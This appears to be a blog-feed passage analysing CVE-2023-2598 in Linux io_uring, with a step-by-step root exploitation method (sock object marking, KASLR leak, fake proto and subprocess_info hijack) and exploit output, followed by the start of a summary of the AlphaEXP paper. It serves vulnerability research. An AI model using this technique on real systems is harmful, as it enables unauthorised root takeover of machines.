// ubuf - 待锁定内存的起始虚拟地址; len - 待锁定内存的长度,字节; npages - 指定一个指针,用于返回锁定的物理页的个数
// 返回值: 一个指向物理页的指针数组,如果失败,返回NULL

io_vec结构体用于表示用户传入的缓冲区地址和大小:

struct iovec
{
	void __user *iov_base;	 // 缓冲区起始地址
	__kernel_size_t iov_len; // 缓冲区字节长度
};

(5)io_sqe_buffer_register() 接下来的代码

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	...
    if (nr_pages > 1) { 	// 判断page数量是否大于1,是否为复合页
		folio = page_folio(pages[0]); 	  // 使用page_folio宏,将page[0]也即`head page`的page结构转化为folio结构
		for (i = 1; i < nr_pages; i++) {  // 遍历复合页
			if (page_folio(pages[i]) != folio) { 	// 漏洞点!!!!! 检查每一个page的`head page`是否与复合页相同
				folio = NULL; 						// page_folio() -> _compound_head() 返回 page->compound_head
				break;
			}
		}
		if (folio) {
			unpin_user_pages(&pages[1], nr_pages - 1);
			nr_pages = 1; 	// 所有页位于同一 folio, 则将 nr_pages 设置为1
		}
	}
    ...
}

漏洞:folio表示在物理内存、虚拟内存都连续的page集合。这里代码判断nr_pages > 1,即是否为复合页;但是在for循环中,if (page_folio(pages[i]) != folio) 只判断了每一个page是否属于当前的复合页,没有判断这些page是否相邻(是否为同一page)。如果用户传入的都是同一物理页,则内核会认为它是一片多个页组成的连续虚拟内存。

(6)io_sqe_buffer_register() 接下来的代码

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	...
    imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL); 	// 重点是 imu - io_mapped_ubuf对象
	if (!imu)
		goto done;

	ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
	if (ret) {
		unpin_user_pages(pages, nr_pages);
		goto done;
	}

	off = (unsigned long) iov->iov_base & ~PAGE_MASK;
	size = iov->iov_len; 				// <---- [3] size值来自于用户态
	/* store original address for later verification */
	imu->ubuf = (unsigned long) iov->iov_base; 	// 用户可控
	imu->ubuf_end = imu->ubuf + iov->iov_len;
	imu->nr_bvecs = nr_pages; 					// folio中本值为1
	*pimu = imu; 		 									// [1] imu结构体指针赋值给了pimu
	ret = 0;

	if (folio) { 	// 如果是folio,只需要1个bio_vec,非常高效
		bvec_set_page(&imu->bvec[0], pages[0], size, off); 	// <---- [2] 传入4个参数,一是 bio_vec 结构体, 二是物理页的 head page, 三是从用户态传入的 iov->iov_len, 四是缓冲区的偏移量
		goto done;
	}
	for (i = 0; i < nr_pages; i++) {
		size_t vec_len;

		vec_len = min_t(size_t, size, PAGE_SIZE - off);
		bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
		off = 0;
		size -= vec_len;
	}
done:
	if (ret)
		kvfree(imu);
	kvfree(pages);
	return ret;
}
// bvec_set_page() —— 对bv进行赋值
static inline void bvec_set_page(struct bio_vec *bv, struct page *page,
		unsigned int len, unsigned int offset)
{
	bv->bv_page = page;
	bv->bv_len = len; 			// pimu->bvec[0].bv_len = iov->iov_len
	bv->bv_offset = offset;
}

imu - io_mapped_ubuf结构:表示已经注册到io_uring中的用户态缓冲区信息。

struct io_mapped_ubuf {
	u64		ubuf; 		// 缓冲区起始地址
	u64		ubuf_end; 	// 缓冲区结束地址
	unsigned int	nr_bvecs; 	// 定位这段缓冲区所需的 bio_vec(s) 结构的个数
	unsigned long	acct_pages;
	struct bio_vec	bvec[]; 	// bio_vec(s)数组,bio_vec类似于iovec,但用于存物理内存,定义了一段连续的物理内存地址范围
};

struct bio_vec {
	struct page	*bv_page; 		// 该地址范围对应的首个page
	unsigned int	bv_len; 	// 该地址范围的长度(字节)
	unsigned int	bv_offset; 	// 相对bv_page的起始地址范围
};

[1] - imu 值传递:imu结构体指针传给了 pimupimu来自(io_sqe_buffers_register() -> io_sqe_buffer_register())的&ctx->user_bufs[i]参数,后续的io_uring操作都会使用这个 struct io_ring_ctx *ctx 结构体。

int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
			    unsigned int nr_args, u64 __user *tags)
{
	struct page *last_hpage = NULL;
	struct io_rsrc_data *data;
	int i, ret;
	struct iovec iov;
    ...
    for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
        ...
        ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i],
					     &last_hpage);
        ...
    }
}

3. 漏洞利用

3-1. 利用原语

(1)漏洞原语

利用原语:可利用io_uring_register注册一个跨多个page的缓冲区,但是只会重复映射一个相同的物理页。在虚拟内存中是连续的,但在物理内存中并不连续,在检查此物理页是否属于复合页时,能够通过检查,因为这个物理页确实属于当前的复合页(page_folio(pages[i]) == folio)。内核会认为这些连续的虚拟页就是连续的物理页,但实际上是分配了同一个物理页,且size值来自于用户态(虚拟内存长度 pimu->bvec[0].bv_len = iov->iov_len,用户可控(见(6)-[3]处代码)。可利用io_uring的其他功能,越界读写当前物理页之后的物理页

可用对象:由于漏洞可以越界写很多页,就不需考虑对象大小和分配的问题,可利用的对象大小是不限的。例如sock对象,包含很多函数指针:

struct sock {
 struct sock_common         __sk_common;          /*     0   136 */ 	// 泄露内核基址
 /* --- cacheline 2 boundary (128 bytes) was 8 bytes ago --- */
 struct dst_entry *         sk_rx_dst;            /*   136     8 */
 int                        sk_rx_dst_ifindex;    /*   144     4 */
 u32                        sk_rx_dst_cookie;     /*   148     4 */
 socket_lock_t              sk_lock;              /*   152    32 */
 atomic_t                   sk_drops;             /*   184     4 */
 int                        sk_rcvlowat;          /*   188     4 */
 /* --- cacheline 3 boundary (192 bytes) --- */
 struct sk_buff_head        sk_error_queue;       /*   192    24 */
 struct sk_buff_head        sk_receive_queue;     /*   216    24 */
 struct {
  atomic_t           rmem_alloc;           /*   240     4 */
  int                len;                  /*   244     4 */
  struct sk_buff *   head;                 /*   248     8 */
  /* --- cacheline 4 boundary (256 bytes) --- */
  struct sk_buff *   tail;                 /*   256     8 */
 } sk_backlog;                                    /*   240    24 */
 int                        sk_forward_alloc;     /*   264     4 */
 u32                        sk_reserved_mem;      /*   268     4 */
 unsigned int               sk_ll_usec;           /*   272     4 */
 unsigned int               sk_napi_id;           /*   276     4 */
 int                        sk_rcvbuf;            /*   280     4 */

 /* XXX 4 bytes hole, try to pack */

 struct sk_filter *         sk_filter;            /*   288     8 */
 union {
  struct socket_wq * sk_wq;                /*   296     8 */
  struct socket_wq * sk_wq_raw;            /*   296     8 */
 };                                               /*   296     8 */
 struct xfrm_policy *       sk_policy[2];         /*   304    16 */
 /* --- cacheline 5 boundary (320 bytes) --- */
 struct dst_entry *         sk_dst_cache;         /*   320     8 */
 atomic_t                   sk_omem_alloc;        /*   328     4 */
 int                        sk_sndbuf;            /*   332     4 */
 int                        sk_wmem_queued;       /*   336     4 */
 refcount_t                 sk_wmem_alloc;        /*   340     4 */
 long unsigned int          sk_tsq_flags;         /*   344     8 */
 union {
  struct sk_buff *   sk_send_head;         /*   352     8 */
  struct rb_root     tcp_rtx_queue;        /*   352     8 */
 };                                               /*   352     8 */
 struct sk_buff_head        sk_write_queue;       /*   360    24 */
 /* --- cacheline 6 boundary (384 bytes) --- */
 __s32                      sk_peek_off;          /*   384     4 */
 int                        sk_write_pending;     /*   388     4 */
 __u32                      sk_dst_pending_confirm; /*   392     4 */
 u32                        sk_pacing_status;     /*   396     4 */
 long int                   sk_sndtimeo;          /*   400     8 */
 struct timer_list          sk_timer;             /*   408    40 */

 /* XXX last struct has 4 bytes of padding */

 /* --- cacheline 7 boundary (448 bytes) --- */
 __u32                      sk_priority;          /*   448     4 */
 __u32                      sk_mark;              /*   452     4 */
 long unsigned int          sk_pacing_rate;       /*   456     8 */ 	// <--- 可设置标记
 long unsigned int          sk_max_pacing_rate;   /*   464     8 */ 	// <---
    // .. many more fields
 /* size: 760, cachelines: 12, members: 92 */
 /* sum members: 754, holes: 1, sum holes: 4 */
 /* sum bitfield members: 16 bits (2 bytes) */
 /* paddings: 2, sum paddings: 6 */
 /* forced alignments: 1 */
 /* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));

(2)设置内存标记

设置标记:sock对象中,sk_pacing_ratesk_max_pacing_rate成员可通过setsockopt(SO_MAX_PACING_RATE)操作进行设置,对应函数为sk_setsockopt()。可通过设置特殊值来确定是否命中了sock对象,同时设置这两个值可以提高判断的准确性。其他成员(例如sk_mark)也可以设置,但是需要CAP_NET_ADMIN权限;还有SO_SNDBUF - 设置 sk_sndbufSO_RCVBUF - 设置sk_rcvbuf

int sk_setsockopt(struct sock *sk, int level, int optname,
		  sockptr_t optval, unsigned int optlen)
{
	struct so_timestamping timestamping;
	struct socket *sock = sk->sk_socket;
	struct sock_txtime sk_txtime;
	int val;
	int valbool;
	struct linger ling;
	int ret = 0;
    ...
    case SO_MAX_PACING_RATE:
		{
		unsigned long ulval = (val == ~0U) ? ~0UL : (unsigned int)val;

		if (sizeof(ulval) != sizeof(val) &&
		    optlen >= sizeof(ulval) &&
		    copy_from_sockptr(&ulval, optval, sizeof(ulval))) { 		// <---- 从用户空间取值
			ret = -EFAULT;
			break;
		}
		if (ulval != ~0UL)
			cmpxchg(&sk->sk_pacing_status,
				SK_PACING_NONE,
				SK_PACING_NEEDED);
		sk->sk_max_pacing_rate = ulval; 								// 设置 sk_max_pacing_rate
		sk->sk_pacing_rate = min(sk->sk_pacing_rate, ulval); 			// 设置 sk_pacing_rate
		break;
		}
    ...
}

(3)获取sock对应描述符

获取socket描述符:命中sock对象后,还需知道这个socket描述符。也可以通过setsockopt(SO_SNDBUF)操作将该socket的文件描述符存储到sock对象中,代码参见sk_setsockopt()。存入的值是fd + SOCK_MIN_SNDBUF(实际写入时会乘以2),读取后解码为val / 2 - SOCK_MIN_SNDBUF(通过getsockopt读取)。

int sk_setsockopt(struct sock *sk, int level, int optname,
		  sockptr_t optval, unsigned int optlen)
{
	struct so_timestamping timestamping;
	struct socket *sock = sk->sk_socket;
	struct sock_txtime sk_txtime;
	int val;
	int valbool;
	struct linger ling;
	int ret = 0;
	...
    case SO_SNDBUF:
		/* Don't error on this BSD doesn't and if you think
		 * about it this is right. Otherwise apps have to
		 * play 'guess the biggest size' games. RCVBUF/SNDBUF
		 * are treated in BSD as hints
		 */
		val = min_t(u32, val, READ_ONCE(sysctl_wmem_max));
set_sndbuf:
		/* Ensure val * 2 fits into an int, to prevent max_t()
		 * from treating it as a negative value.
		 */
		val = min_t(int, val, INT_MAX / 2);
		sk->sk_userlocks |= SOCK_SNDBUF_LOCK;
		WRITE_ONCE(sk->sk_sndbuf, 							// <--- val值来自用户态,这里需满足一个条件,也即val要大于宏定义 SOCK_MIN_SNDBUF 的值才会被写进 sk_sndbuf 成员中。
			   max_t(int, val * 2, SOCK_MIN_SNDBUF));
		/* Wake up sending tasks if we upped the value. */
		sk->sk_write_space(sk);
		break;
    ...
}
// SOCK_MIN_SNDBUF 宏定义展开如下:要满足 val > SOCK_MIN_SNDBUF, 只需将socket对象的描述符加上 SOCK_MIN_SNDBUF 的值即可。在命中sock对象后,再将sk_sndbuf位置的值减去SOCK_MIN_SNDBUF就是socket对象的描述符。
// SOCK_MIN_SNDBUF = 2 * (2048 + ALIGN(sizeof(sk_buff), 1 << L1_CACHE_SHIFT)), 实际值取决于 L1_CACHE_SHIFT,本例中 L1_CACHE_SHIFT = 6, 因此 SOCK_MIN_SNDBUF = 4608
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define __ALIGN_KERNEL(x, a)  __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define L1_CACHE_SHIFT  5
#define L1_CACHE_BYTES  (1 << L1_CACHE_SHIFT)
#define ALIGN(x, a)  __ALIGN_KERNEL((x), (a))
#define SMP_CACHE_BYTES L1_CACHE_BYTES
#define SKB_DATA_ALIGN(X) ALIGN(X, SMP_CACHE_BYTES)
#define SK_BUFF_SIZE 224
#define TCP_SKB_MIN_TRUESIZE (2048 + SKB_DATA_ALIGN(SK_BUFF_SIZE))
#define SOCK_MIN_SNDBUF  (TCP_SKB_MIN_TRUESIZE * 2)

(4)泄露基址&劫持控制流

泄露内核基址&劫持控制流sock.__sk_common结构体中的struct proto *skc_prot指针指向proto对象,proto对象中存在很多函数指针,可用于劫持控制流。

// [1] 泄露内核基址: sock对象中含有一些函数指针
struct sock {
    ...
	void                       (*sk_state_change)(struct sock *); /*   672     8 */
	void                       (*sk_data_ready)(struct sock *); /*   680     8 */
	void                       (*sk_write_space)(struct sock *); /*   688     8 */
	void                       (*sk_error_report)(struct sock *); /*   696     8 */
	/* --- cacheline 11 boundary (704 bytes) --- */
	int                        (*sk_backlog_rcv)(struct sock *, struct sk_buff *); /*   704     8 */
	void                       (*sk_destruct)(struct sock *); /*   712     8 */
    ...
} __attribute__((__aligned__(8)));
// 例如TCP socket中,会被初始化为如下函数
sk_state_change <-> <sock_def_wakeup>,
sk_data_ready <-> <sock_def_readable>, 			// <--- 本EXP是用的这个函数来泄露的
sk_write_space <-> <sk_stream_write_space>,
sk_error_report <-> <sock_def_error_report>,
sk_backlog_rcv <-> <tcp_v4_do_rcv>,
sk_destruct <-> <inet_sock_destruct>

// [2] 劫持控制流
struct sock_common {
 union {
  __addrpair         skc_addrpair;         /*     0     8 */
 ...
 struct proto *             skc_prot;             /*    40     8 */ 		// <---
 possible_net_t             skc_net;              /*    48     8 */
......
/* size: 136, cachelines: 3, members: 25 */
 /* sum members: 135 */
 /* sum bitfield members: 7 bits, bit holes: 1, sum bit holes: 1 bits */
 /* last cacheline: 8 bytes */  

struct proto {
 void                       (*close)(struct sock *, long int); /*     0     8 */
 int                        (*pre_connect)(struct sock *, struct sockaddr *, int); /*     8     8 */
 int                        (*connect)(struct sock *, struct sockaddr *, int); /*    16     8 */
 int                        (*disconnect)(struct sock *, int); /*    24     8 */
 struct sock *              (*accept)(struct sock *, int, int *, bool); /*    32     8 */
 int                        (*ioctl)(struct sock *, int, long unsigned int); /*    40     8 */ 	// <--- 可劫持
 int                        (*init)(struct sock *); /*    48     8 */
 void                       (*destroy)(struct sock *); /*    56     8 */
 /* --- cacheline 1 boundary (64 bytes) --- */
 void                       (*shutdown)(struct sock *, int); /*    64     8 */
 int                        (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); /*    72     8 */
 int                        (*getsockopt)(struct sock *, int, int, char *, int *); /*    80     8 */
....

3-2. 利用步骤

EXP复现注意点:QEMU需给足够的内存,避免mmap时内存不足;若mmap映射的内存减少,很难命中sock对象。

利用步骤

  • (1)通过匿名文件映射内存,然后通过io_uring来实现用户态与内核态内存共享;

  • (2)执行setsockopt(sockets[i], SOL_SOCKET, SO_MAX_PACING_RATE, &egg, sizeof(uint64_t)) < 0),设置sk_pacing_rate / sk_max_pacing_rate 作为标记(0xdeadbeef);——便于确定漏洞对象后面是sock对象

  • (3)执行setsockopt(sockets[i], SOL_SOCKET, SO_SNDBUF, &j, sizeof(int),将 sk_sndbuf 设置为 j = (sockets[i] + SOCK_MIN_SNDBUF)*2,也即 (4+4544)*2 = 0x2388;——便于确定sock对象对应的是哪一个文件描述符

  • (4)通过漏洞(同一物理页的连续地址映射),在io_uring操作之后,检测映射内存中是否命中了sock对象;

  • (5)泄露内核基址+堆地址:判断sk_pacing_rate / sk_max_pacing_rate 是否为正确标记值。确定命中sock对象后,通过sock对象计算距离函数指针的偏移,以此泄露sk_data_ready_off函数地址,从而得到内核基址与sock对象的地址;通过socksk_error_queue / sk_receive_queue 可泄露sock对象地址。

  • (6)泄露socket描述符:通过sk_sndbuf的值,减去SOCK_MIN_SNDBUF的值 ,可以得到socket的描述符,以便后续劫持函数指针之后,对这个socket进行操作;

  • (7)在修改和伪造sock内容之前,先对sock数据进行备份,在之后将其还原,某则会导致内核崩溃;

  • (8)为了劫持sock对象的函数指针,需伪造proto对象,放在sock对象之后;

  • (9)劫持proto->ioctl 函数指针指向call_usermodehelper_exec()函数,该函数可在内核空间启动一个用户态进程;

  • (10)问题call_usermodehelper_exec()需两个参数,(struct subprocess_info *sub_info, int wait) ,ioctl函数定义是:(*ioctl)(struct sock *, int, long unsigned int); ,它的第一个参数始终指向sock对象,无法在sock对象开头来伪造subprocess_info对象(因为sock开头是sock_commonsock_common->skc_protsubprocess_info->path成员重叠了),也就是说没办法直接调用ioctl去提权。并且,在proto+0x28位置为ioctl函数指针,我们需要覆盖这个函数指针完成劫持,但调用call_usermodehelper_exec函数时,其参数subprocess_info + 0x28位置是所要执行的用户态程序路径,刚好与ioctl函数指针重叠,这会破坏我们的利用。

    int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait);
      
    struct subprocess_info {
    	struct work_struct         work;                 /*     0    32 */
    	struct completion *        complete;             /*    32     8 */
    	const char  *              path;                 /*    40     8 */ 	// path - 指向我们可执行程序的路径
    	char * *                   argv;                 /*    48     8 */  // argv - 指向指针数组,每个指针指向参数
    	char * *                   envp;                 /*    56     8 */  // envp - 类似argv,但存储的是环境变量
    	/* --- cacheline 1 boundary (64 bytes) --- */
    	int                        wait;                 /*    64     4 */
    	int                        retval;               /*    68     4 */
    	int                        (*init)(struct subprocess_info *, struct cred *); /*    72     8 */ 	// init - 初始化函数,设置进程凭证
    	void                       (*cleanup)(struct subprocess_info *); /*    80     8 */ 	// cleanup - 子进程退出时执行
    	void *                     data;                 /*    88     8 */
      
    	/* size: 96, cachelines: 2, members: 10 */
    	/* last cacheline: 32 bytes */
    };
    
  • (11)可利用work_structsubprocess_info的第一个成员对象),表示一个延迟工作的对象。subprocess_info.work.func成员是一个函数指针,延迟工作将会调用这个函数指针。调用流程是 call_usermodehelper_exec() -> queue_work() -> queue_work_on() -> __queue_work() -> insert_work() —— 加入延迟队列;实际执行时的调用流程是 call_usermodehelper_exec_work() -> user_mode_thread() -> kernel_clone() 会启动新进程来执行 call_usermodehelper_exec_async() -> kernel_execve(sub_info->path, (const char *const *)sub_info->argv, (const char *const *)sub_info->envp);

    struct work_struct {
     atomic_long_t              data;                 /*     0     8 */
     struct list_head           entry;                /*     8    16 */
     work_func_t                func;                 /*    24     8 */
      
     /* size: 32, cachelines: 1, members: 3 */
     /* last cacheline: 32 bytes */
    };
      
    static void call_usermodehelper_exec_work(struct work_struct *work) // work_struct 结构属于 subprocess_info 对象,伪造好 work_struct 即可
    {
    	struct subprocess_info *sub_info =
    		container_of(work, struct subprocess_info, work);
      
    	if (sub_info->wait & UMH_WAIT_PROC) {
    		call_usermodehelper_exec_sync(sub_info);
    	} else {
    		pid_t pid;
    		/*
    		 * Use CLONE_PARENT to reparent it to kthreadd; we do not
    		 * want to pollute current->children, and we need a parent
    		 * that always ignores SIGCHLD to ensure auto-reaping.
    		 */
    		pid = user_mode_thread(call_usermodehelper_exec_async, sub_info,
    				       CLONE_PARENT | SIGCHLD);
    		if (pid < 0) {
    			sub_info->retval = pid;
    			umh_complete(sub_info);
    		}
    	}
    }
    
  • (12)先将proto->ioctl指向call_usermodehelper_exec,再将subprocess_info.work.func指向call_usermodehelper_exec_work() 函数(负责生成我们的新进程)。由于sock对象和subprocess_info对象重合,所以sock.sock_common->skc_protsubprocess_info->path成员重合,proto对象开头可以放path(也即/bin/sh字符串),但是别覆盖到proto->ioctl。proto对象之后可以放subprocess_info->argv参数(也即 -c /bin/sh &>/dev/ttyS0 </dev/ttyS0等三个参数对应的字符串)。

  • (13)伪造完成后,在调用ioctl时,将会触发call_usermodehelper_exec函数,延迟执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0 ,即可获取一个root shell。

4. 其他

4-1. tcp_sock结构

结构包含关系tcp_sock -> inet_connection_sock -> inet_sock -> sock

在v6.3-rc1中 tcp_sock 大小为2208字节(我编译的V6.3.1内核中tcp_sock大小为2248字节),可将伪造的proto对象放在sock对象后面。在调用伪造的ioctl之后需要恢复tcp_sock,避免内核崩溃,所以需要提前保存tcp_sock结构。

4-2. subprocess_info设置

设置subprocess_info来构造参数,目标是执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0。分解如下:

/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0
 ^      ^  |______________________________|	
 |      |               |
 |      |               |
path   arg1            arg2
arg0	

获得shell原理:利用/bin/sh生成另一个/bin/sh进程,并将stdin/stdout重定向到我们的虚拟控制台/串口。

subprocess_info提权设置:必须设置work.func指向call_usermodehelper_exec_work。注意,之前设置了 proto->ioctl 指向 call_usermodehelper_exec()call_usermodehelper_exec()函数负责对 deffered work 排队,而调用call_usermodehelper_exec_work()函数来处理deffered work,也即真正负责生成新进程。path成员仍然指向proto结构,最后触发调用ioctl提权并获得shell。

// 注意:subprocess_info 对象和 sock 对象的地址相同
// proto 开头是 path 字符串
// proto->ioctl = call_usermodehelper_exec
work.data          <-> set to 0 											// 0
work.entry.next    <-> set to it's own address 								// 指向自身
work.entry.prev    <-> set to the address of work.entry.next 				// 指向 work.entry.next
work.func          <-> set to call_usermodehelper_exec_work					// call_usermodehelper_exec_work
complete           <-> irrelevant
path               <-> don't overwrite or overwrite it with the same value  // 偏移40, 指向伪造的proto对象。`sock_common->skc_prot` & `subprocess_info->path` 值相同, `proto->ioctl` 偏移为40, proto对象前面40字节可以放path, 也即"/bin/sh"
argv               <-> write the address where the argv array was set up 	// 参数数组的地址。proto对象后面可以放argv参数
envp               <-> set to 0, we have no env variables 					// 0
wait               <-> irrelevant
retval             <-> irrelevant
*init              <-> set to 0 											// 0
*cleanup           <-> set to 0 											// 0
data               <-> irrelevant

4-3. EXP测试

$ gcc -static ./exploit.c -luring -o ./exploit
$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
$ ./exploit
[*] CVE-2023-2598 Exploit by anatomic (@YordanStoychev)
memfd: 0, page: 0 at virt_addr: 0x4247000000, reading 266240000 bytes
memfd: 0, page: 500 at virt_addr: 0x42470001f4, reading 266240000 bytes
memfd: 0, page: 1000 at virt_addr: 0x42470003e8, reading 266240000 bytes
memfd: 0, page: 1500 at virt_addr: 0x42470005dc, reading 266240000 bytes
memfd: 0, page: 2000 at virt_addr: 0x42470007d0, reading 266240000 bytes
memfd: 0, page: 2500 at virt_addr: 0x42470009c4, reading 266240000 bytes
memfd: 0, page: 3000 at virt_addr: 0x4247000bb8, reading 266240000 bytes
memfd: 0, page: 3500 at virt_addr: 0x4247000dac, reading 266240000 bytes
memfd: 0, page: 4000 at virt_addr: 0x4247000fa0, reading 266240000 bytes
memfd: 0, page: 4500 at virt_addr: 0x4247001194, reading 266240000 bytes
memfd: 0, page: 5000 at virt_addr: 0x4247001388, reading 266240000 bytes
memfd: 0, page: 5500 at virt_addr: 0x424700157c, reading 266240000 bytes
memfd: 0, page: 6000 at virt_addr: 0x4247001770, reading 266240000 bytes
memfd: 0, page: 6500 at virt_addr: 0x4247001964, reading 266240000 bytes
memfd: 0, page: 7000 at virt_addr: 0x4247001b58, reading 266240000 bytes
memfd: 0, page: 7500 at virt_addr: 0x4247001d4c, reading 266240000 bytes
memfd: 0, page: 8000 at virt_addr: 0x4247001f40, reading 266240000 bytes
memfd: 0, page: 8500 at virt_addr: 0x4247002134, reading 266240000 bytes
memfd: 0, page: 9000 at virt_addr: 0x4247002328, reading 266240000 bytes
memfd: 0, page: 9500 at virt_addr: 0x424700251c, reading 266240000 bytes
memfd: 0, page: 10000 at virt_addr: 0x4247002710, reading 266240000 bytes
memfd: 0, page: 10500 at virt_addr: 0x4247002904, reading 266240000 bytes
memfd: 0, page: 11000 at virt_addr: 0x4247002af8, reading 266240000 bytes
memfd: 0, page: 11500 at virt_addr: 0x4247002cec, reading 266240000 bytes
memfd: 0, page: 12000 at virt_addr: 0x4247002ee0, reading 266240000 bytes
memfd: 0, page: 12500 at virt_addr: 0x42470030d4, reading 266240000 bytes
Found value 0xdeadbeefdeadbeef at offset 0x21c8
Socket object starts at offset 0x2000
kaslr_leak: 0xffffffffb09503f0
kaslr_base: 0xffffffffafe00000
found socket is socket number 1950
our struct sock object starts at 0xffff9817ff400000
fake proto structure set up at 0xffff9817ff400578
args at 0xffff9817ff400728
argv at 0xffff9817ff400750
subprocess_info set up at beginning of sock at 0xffff9817ff400000
calling ioctl...
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
/ # w00t w00t

5. 常用命令

参考 CVE-2022-34918

liburing 安装

# 安装 liburing   生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install
# exp编译
$ gcc -static ./exploit.c -luring -o ./exploit

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

ftrace调试:注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx

# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable

# ssh 连进去执行 exploit

cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt

# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ 	# 下载文件

参考

Conquering the memory through io_uring - Analysis of CVE-2023-2598

https://www.openwall.com/lists/oss-security/2023/05/08/3

exploit

introduction to the subsystem —— io_uring介绍

CVE-2023-2598 io_uring内核提权分析

]]>
bsaucesk_data_ready`泄露内核基址,通过`sock.sk_error_queue.next`泄露sock对象的堆地址,通过伪造`sock.__sk_common.skc_prot->ioctl`函数指针劫持控制流。]]>
【bsauce读论文】2023-USENIX-AlphaEXP-识别Linux内核中的可利用对象2024-05-22T00:00:00+08:002024-05-22T00:00:00+08:00https://bsauce.github.io/2024/05/22/AlphaEXP【bsauce读论文】2023-USENIX-AlphaEXP:识别Linux内核中的可利用对象

基本信息

  • 原文标题:AlphaEXP: An Expert System for Identifying Security-Sensitive Kernel Objects
  • 原文作者:Ruipeng Wang, Kaixiang Chen, Chao Zhang, Zulie Pan, Qianyu Li, Siliang Qin, Shenglin Xu, Min Zhang, Yang Li
  • 作者单位:National University of Defense Technology, Tsinghua University
  • 关键词:Linux内核, 漏洞可利用性, 自动化评估, AlphaEXP
  • 原文链接:https://www.usenix.org/conference/usenixsecurity23/presentation/wang-ruipeng
  • 开源代码

1. 论文要点

论文简介:本文提出AlphaEXP(基于KINT [48], Syzkaller [19], Soufflé [28]实现),首先构造知识图谱来表示内核对象、内核功能和用户输入的关系,然后根据给定漏洞探索可能的攻击路径,标记可利用的对象,最后评估攻击路径的可行性,并对可利用的对象进行分类。

实验:对84个人工构造的漏洞和19个真实CVE进行测试,成功对大部分漏洞生成了攻击路径,找到50个对象可用于构造写原语,81个对象可用于构造读原语,112个对象可构造控制流劫持,并将这些对象分为12个等级。

2. 背景

2-1. 案例分析

漏洞点:第13行,当用户可控的skey->keylen (第11行)超过缓冲区skey->key的长度(该缓冲区的分配大小也由用户决定,第9行),就会触发OOB溢出。

漏洞利用:见图 (d),先构造漏洞对象tipc_aead_keymsg_msg相邻,溢出篡改 msg_msg->m_ts,构造越界读来泄露tty_struct结构的函数地址和堆地址;然后构造漏洞对象tipc_aead_keytty_struct相邻,溢出篡改tty_struct->ops劫持控制流。

1-Example-CVE-2021-43267

挑战:如何识别出类似msg_msgtty_struct这些可利用对象并分类。

2-2. 漏洞利用步骤

利用过程分为两个阶段,Capability Upgrade (CU) 和 Capability Stitching (CS)。首先将初始的漏洞能力转化为更强的能力,最常见的有两种,一是读能力和任意代码执行(ACE),二是读能力和任意地址写(AAW),可以绕过KASLR并提权。然后将多种能力组合起来,实现提权。

3. AlphaEXP

威胁模型:开启SMEP, SMAP [14], KPTI [15], KASLR [17]。只生成攻击路径,而非EXP,不考虑堆布局技术。

AlphaEXP整体架构:包含三个部分,知识图谱构建(收集内核对象信息),攻击路径生成(推断哪些对象可以用于利用),可利用对象分类(根据利用条件和能力的影响)。

实现:知识图谱构建是基于 KINT[48] 和 Syzkaller;攻击路径生成是基于Soufflé [28]。

2-AlphaEXP-Overview

3-1. 知识图谱构建

目标:能反映内核对象、内核功能和输入的关系。

组成

  • object信息:包含位置信息和成员信息。
    • 位置信息:所属Cache;
    • 成员信息:Pointer(可作为释放函数的参数)、Integer(可作为分配函数的参数)。
  • 内核功能:
    • R_W / Call:读/写和对敏感对象执行常见操作,有利于利用;
    • Release / Allocate:有利于利用。
  • 用户操作:能触发相应内核功能的用户操作。

3-Knowledge-Base

